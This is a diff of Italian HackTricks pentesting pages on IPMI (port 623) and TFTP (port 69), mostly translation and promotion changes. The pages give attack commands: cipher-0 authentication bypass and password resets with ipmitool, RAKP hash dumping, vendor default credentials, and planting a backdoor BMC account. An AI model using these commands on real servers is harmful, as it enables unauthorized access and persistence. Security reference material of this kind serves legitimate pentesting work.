|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -2,111 +2,113 @@
|
||||||
|
|
||||||
## 623/UDP/TCP - IPMI
|
## 623/UDP/TCP - IPMI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
### **Panoramica di IPMI**
|
### **Overview of IPMI**
|
||||||
|
|
||||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre un approccio standardizzato per la gestione remota e il monitoraggio dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi in remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per:
|
**[Interfaccia di gestione della piattaforma intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre un approccio standardizzato per la gestione e il monitoraggio remoto dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi da remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per:
|
||||||
|
|
||||||
- Configurazioni di avvio pre-OS
|
- Configurazioni di avvio pre-OS
|
||||||
- Gestione dello spegnimento
|
- Gestione dello spegnimento
|
||||||
- Ripristino da guasti di sistema
|
- Recupero da guasti di sistema
|
||||||
|
|
||||||
IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni sull'inventario, revisionare i log dell'hardware e inviare avvisi tramite SNMP. Per il suo funzionamento sono necessari una fonte di alimentazione e una connessione LAN.
|
IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni sull'inventario, rivedere i registri hardware e inviare avvisi tramite SNMP. Essenziale per il suo funzionamento sono una fonte di alimentazione e una connessione LAN.
|
||||||
|
|
||||||
Sin dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, soprattutto con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono:
|
Dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, specialmente con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono:
|
||||||
|
|
||||||
- **Baseboard Management Controller (BMC):** Il microcontrollore principale per le operazioni IPMI.
|
- **Controller di gestione della scheda madre (BMC):** Il microcontrollore principale per le operazioni IPMI.
|
||||||
- **Bus e interfacce di comunicazione:** Per la comunicazione interna ed esterna, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete.
|
- **Bus e interfacce di comunicazione:** Per comunicazioni interne ed esterne, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete.
|
||||||
- **Memoria IPMI:** Per memorizzare log e dati.
|
- **Memoria IPMI:** Per memorizzare registri e dati.
|
||||||
|
|
||||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||||
|
|
||||||
**Porta predefinita**: 623/UDP/TCP (di solito è su UDP ma potrebbe essere in esecuzione anche su TCP)
|
**Porta predefinita**: 623/UDP/TCP (Di solito è su UDP ma potrebbe anche essere in esecuzione su TCP)
|
||||||
|
|
||||||
## Enumerazione
|
## Enumeration
|
||||||
|
|
||||||
### Scoperta
|
### Discovery
|
||||||
```bash
|
```bash
|
||||||
nmap -n -p 623 10.0.0./24
|
nmap -n -p 623 10.0.0./24
|
||||||
nmap -n-sU -p 623 10.0.0./24
|
nmap -n-sU -p 623 10.0.0./24
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
```
|
```
|
||||||
È possibile **identificare** la **versione** utilizzando:
|
Puoi **identificare** la **versione** utilizzando:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||||
```
|
```
|
||||||
### Vulnerabilità IPMI
|
### Vulnerabilità IPMI
|
||||||
|
|
||||||
Nel campo dell'IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso il **tipo di cifratura 0**. Questa vulnerabilità, documentata in dettaglio nella ricerca di [Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password, a condizione che venga preso di mira un utente valido. Questa debolezza è stata riscontrata in diverse BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
|
Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che un utente valido sia preso di mira. Questa debolezza è stata riscontrata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
|
||||||
|
|
||||||
### **Bypass dell'autenticazione IPMI tramite Cipher 0**
|
### **Bypass dell'autenticazione IPMI tramite Cipher 0**
|
||||||
|
|
||||||
Per rilevare questa falla, è possibile utilizzare il seguente scanner ausiliario di Metasploit:
|
Per rilevare questa falla, può essere impiegato il seguente scanner ausiliario di Metasploit:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||||
```
|
```
|
||||||
Lo sfruttamento di questa falla è possibile con `ipmitool`, come dimostrato di seguito, consentendo la visualizzazione e la modifica delle password degli utenti:
|
Sfruttare questa vulnerabilità è possibile con `ipmitool`, come dimostrato di seguito, consentendo l'elenco e la modifica delle password degli utenti:
|
||||||
```bash
|
```bash
|
||||||
apt-get install ipmitool # Installation command
|
apt-get install ipmitool # Installation command
|
||||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||||
```
|
```
|
||||||
### **IPMI 2.0 Recupero Remoto dell'Hash della Password tramite Autenticazione RAKP**
|
### **Recupero della Hash della Password Remota di Autenticazione RAKP IPMI 2.0**
|
||||||
|
|
||||||
Questa vulnerabilità consente il recupero delle password hashate con sale (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo:
|
Questa vulnerabilità consente il recupero delle password hash salate (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo:
|
||||||
```bash
|
```bash
|
||||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||||
```
|
```
|
||||||
### **Autenticazione anonima IPMI**
|
### **Autenticazione IPMI Anonima**
|
||||||
|
|
||||||
Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente utilizzando `ipmitool`:
|
Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente nominati utilizzando `ipmitool`:
|
||||||
```bash
|
```bash
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||||
```
|
```
|
||||||
### **Password in chiaro di Supermicro IPMI**
|
### **Supermicro IPMI Password in chiaro**
|
||||||
|
|
||||||
Una scelta di design critica in IPMI 2.0 richiede la memorizzazione delle password in chiaro all'interno dei BMC per scopi di autenticazione. La memorizzazione di queste password da parte di Supermicro in posizioni come `/nv/PSBlock` o `/nv/PSStore` solleva significative preoccupazioni per la sicurezza:
|
Una scelta di design critica in IPMI 2.0 richiede la memorizzazione di password in chiaro all'interno dei BMC per scopi di autenticazione. La memorizzazione di queste password da parte di Supermicro in posizioni come `/nv/PSBlock` o `/nv/PSStore` solleva significative preoccupazioni di sicurezza:
|
||||||
```bash
|
```bash
|
||||||
cat /nv/PSBlock
|
cat /nv/PSBlock
|
||||||
```
|
```
|
||||||
### **Vulnerabilità UPnP di Supermicro IPMI**
|
### **Vulnerabilità UPnP di Supermicro IPMI**
|
||||||
|
|
||||||
L'inclusione da parte di Supermicro di un listener UPnP SSDP nel firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nella versione 1.3.1 dell'Intel SDK per UPnP Devices, come dettagliato dalla [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC:
|
L'inclusione da parte di Supermicro di un listener SSDP UPnP nel suo firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nel Intel SDK per Dispositivi UPnP versione 1.3.1, come dettagliato nella [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC:
|
||||||
```bash
|
```bash
|
||||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||||
```
|
```
|
||||||
### Brute Force
|
### Brute Force
|
||||||
|
|
||||||
**HP randomizza la password predefinita** per il suo prodotto **Integrated Lights Out (iLO)** durante la produzione. Questa pratica contrasta con altri produttori, che tendono ad utilizzare **credenziali predefinite statiche**. Di seguito viene fornito un riassunto degli username e delle password predefinite per vari prodotti:
|
**HP randomizza la password predefinita** per il suo prodotto **Integrated Lights Out (iLO)** durante la produzione. Questa pratica contrasta con altri produttori, che tendono a utilizzare **credenziali predefinite statiche**. Un riepilogo dei nomi utente e delle password predefiniti per vari prodotti è fornito come segue:
|
||||||
|
|
||||||
- **HP Integrated Lights Out (iLO)** utilizza una **stringa di 8 caratteri generata casualmente in fabbrica** come password predefinita, mostrando un livello di sicurezza più elevato.
|
- **HP Integrated Lights Out (iLO)** utilizza una **stringa casuale di 8 caratteri** come password predefinita, mostrando un livello di sicurezza più elevato.
|
||||||
- Prodotti come **Dell's iDRAC, IBM's IMM** e **Fujitsu's Integrated Remote Management Controller** utilizzano password facilmente indovinabili come "calvin", "PASSW0RD" (con uno zero) e "admin" rispettivamente.
|
- Prodotti come **Dell's iDRAC, IBM's IMM** e **Fujitsu's Integrated Remote Management Controller** utilizzano password facilmente indovinabili come "calvin", "PASSW0RD" (con uno zero) e "admin" rispettivamente.
|
||||||
- Allo stesso modo, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** utilizzano anche credenziali predefinite semplici, con "ADMIN", "changeme" e "admin" come password.
|
- Allo stesso modo, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** utilizzano anche credenziali predefinite semplici, con "ADMIN", "changeme" e "admin" che fungono da password.
|
||||||
|
|
||||||
## Accesso all'host tramite BMC
|
|
||||||
|
|
||||||
L'accesso amministrativo al Baseboard Management Controller (BMC) apre varie vie per accedere al sistema operativo dell'host. Un approccio diretto prevede lo sfruttamento della funzionalità Keyboard, Video, Mouse (KVM) del BMC. Ciò può essere fatto riavviando l'host a una shell di root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di salvataggio. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserimento di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è un inconveniente significativo. Senza riavviare, l'accesso all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in consegna tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
|
## Accessing the Host via BMC
|
||||||
|
|
||||||
## Introduzione di backdoor nel BMC dall'host
|
L'accesso amministrativo al Baseboard Management Controller (BMC) apre varie vie per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di ripristino. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
|
||||||
|
|
||||||
Dopo aver compromesso un host dotato di un BMC, l'**interfaccia locale del BMC può essere sfruttata per inserire un account utente backdoor**, creando una presenza duratura sul server. Questo attacco richiede la presenza di **`ipmitool`** sull'host compromesso e l'attivazione del supporto del driver BMC. I seguenti comandi illustrano come un nuovo account utente può essere iniettato nel BMC utilizzando l'interfaccia locale dell'host, bypassando la necessità di autenticazione. Questa tecnica è applicabile a una vasta gamma di sistemi operativi, inclusi Linux, Windows, BSD e persino DOS.
|
## Introducing Backdoors into BMC from the Host
|
||||||
|
|
||||||
|
Una volta compromesso un host dotato di BMC, l'**interfaccia BMC locale può essere sfruttata per inserire un account utente backdoor**, creando una presenza duratura sul server. Questo attacco richiede la presenza di **`ipmitool`** sull'host compromesso e l'attivazione del supporto per il driver BMC. I seguenti comandi illustrano come un nuovo account utente può essere iniettato nel BMC utilizzando l'interfaccia locale dell'host, bypassando la necessità di autenticazione. Questa tecnica è applicabile a un'ampia gamma di sistemi operativi, tra cui Linux, Windows, BSD e persino DOS.
|
||||||
```bash
|
```bash
|
||||||
ipmitool user list
|
ipmitool user list
|
||||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
|
@ -124,22 +126,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `porta:623`
|
* `port:623`
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
* [https://blog.rapid7.com/2013/07/02/guida-di-un-penetration-tester-su-ipmi/](https://blog.rapid7.com/2013/07/02/guida-di-un-penetration-tester-su-ipmi/)
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,42 +1,43 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di Base
|
# Basic Information
|
||||||
|
|
||||||
Il **Protocollo di Trasferimento File Triviale (TFTP)** è un protocollo diretto utilizzato sulla porta **UDP 69** che consente trasferimenti di file senza necessità di autenticazione. Evidenziato in **RFC 1350**, la sua semplicità significa che manca di importanti funzionalità di sicurezza, portando a un uso limitato su Internet pubblico. Tuttavia, **TFTP** è ampiamente utilizzato all'interno di grandi reti interne per distribuire **file di configurazione** e **immagini ROM** ai dispositivi come **telefoni VoIP**, grazie alla sua efficienza in questi scenari specifici.
|
**Trivial File Transfer Protocol (TFTP)** è un protocollo semplice utilizzato sulla **porta UDP 69** che consente trasferimenti di file senza necessità di autenticazione. Sottolineato nella **RFC 1350**, la sua semplicità significa che manca di funzionalità di sicurezza chiave, portando a un uso limitato su Internet pubblico. Tuttavia, **TFTP** è ampiamente utilizzato all'interno di grandi reti interne per distribuire **file di configurazione** e **immagini ROM** a dispositivi come **telefoni VoIP**, grazie alla sua efficienza in questi scenari specifici.
|
||||||
|
|
||||||
**DA FARE**: Fornire informazioni su cos'è un tracker Bittorrent (Shodan identifica questa porta con quel nome). Se hai più informazioni a riguardo faccelo sapere ad esempio nel [**gruppo telegram di HackTricks**](https://t.me/peass) (o in una issue di github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
**TODO**: Fornire informazioni su cosa sia un Bittorrent-tracker (Shodan identifica questa porta con quel nome). Se hai ulteriori informazioni su questo faccelo sapere, ad esempio nel [**HackTricks telegram group**](https://t.me/peass) (o in un problema su github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||||
|
|
||||||
**Porta Predefinita:** 69/UDP
|
**Default Port:** 69/UDP
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
69/udp open tftp script-set
|
69/udp open tftp script-set
|
||||||
```
|
```
|
||||||
# Enumerazione
|
# Enumerazione
|
||||||
|
|
||||||
TFTP non fornisce elenchi delle directory quindi lo script `tftp-enum` di `nmap` cercherà di forzare percorsi predefiniti.
|
TFTP non fornisce un elenco delle directory, quindi lo script `tftp-enum` di `nmap` tenterà di forzare in modo brutale i percorsi predefiniti.
|
||||||
```bash
|
```bash
|
||||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||||
```
|
```
|
||||||
## Download/Upload
|
## Download/Upload
|
||||||
|
|
||||||
Puoi utilizzare Metasploit o Python per verificare se puoi scaricare/caricare file:
|
Puoi usare Metasploit o Python per verificare se puoi scaricare/caricare file:
|
||||||
```bash
|
```bash
|
||||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||||
```
|
```
|
||||||
|
@ -49,7 +50,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `porta:69`
|
* `port:69`
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
